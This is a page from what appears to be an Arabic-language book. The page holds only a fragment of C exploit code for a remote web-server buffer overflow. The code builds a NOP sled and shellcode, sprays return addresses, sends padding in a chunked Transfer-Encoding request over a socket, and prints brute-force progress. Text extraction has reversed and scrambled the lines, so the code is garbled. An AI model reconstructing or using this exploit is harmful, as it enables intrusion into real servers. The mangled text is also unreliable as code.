Page 295 - بسم الله الرحمن الرحيم
P. 295

;("\\\ :"\\\)PUT_STRING
                                                        ;(PUT_BYTES(NOPCOUNT, NOP
                                       ;(memcpy(p, shellcode, sizeof(shellcode) - 1

                                                                  ;p += sizeof(shellcode) - 1
                                                               ;("\\\PUT_STRING(\\\"\\\\r\\\\n

                                                                                                     {

                                                } (++for (i = 0; i < REP_POPULATOR; i
                                                                      ;("\\\-PUT_STRING(\\\"X

                                              ;(PUT_BYTES(PADSIZE_1, PADDING_1
                                                                       ;("\\\ :"\\\)PUT_STRING

                                                   } (++for (j = 0; j < REP_RET_ADDR; j
                                                                        ;p++ = retaddr & 0xff*

                                                               ;p++ = (retaddr >> 8) & 0xff*
                                                             ;p++ = (retaddr >> 16) & 0xff*
                                                             ;p++ = (retaddr >> 24) & 0xff*

                                                                                                     {

                                                              ;(PUT_BYTES(REP_ZERO, 0
                                                               ;("\\\PUT_STRING(\\\"\\\\r\\\\n

                                                                                                     {

                     ;("\\\PUT_STRING(\\\"Transfer-Encoding: chunked\\\\r\\\\n
           ;(snprintf(buf, sizeof(buf) - 1, \\\"\\\\r\\\\n%x\\\\r\\\\n\\\", PADSIZE_2

                                                                            ;(PUT_STRING(buf
                                              ;(PUT_BYTES(PADSIZE_2, PADDING_2
                              snprintf(buf, sizeof(buf) - 1, \\\"\\\\r\\\\n%x\\\\r\\\\n\\\",

                                                       ;(MEMCPY_s1_OWADDR_DELTA
                                                                            ;(PUT_STRING(buf

                                                          ;(write(sock, expbuf, p - expbuf

                                                                                     ;++progress
                                                                       (if((progress%70) == 0

                                                                                    ;progress = 1

                                                                             } (if(progress == 1
                                                               ;((memset(buf, 0, sizeof(buf
sprintf(buf, \\\"\\\\r[*] Currently using retaddr 0x%lx, length %u, localport

                                                                                             ,"\\\%u
                                            ;(retaddr, (unsigned int)(p - expbuf), lport
                                   ;((memset(buf + strlen(buf), \\' \\', 74 - strlen(buf

                                                                                         ;(puts(buf
                                                                                    (if(bruteforce
                                                                                   ;('\\;'\\)putchar

                                                                                                     {
                                                                                                 else
                                                       ;('\\putchar((rand()%2)? \\'P\\': \\'p

                                                295
   290   291   292   293   294   295   296   297   298   299   300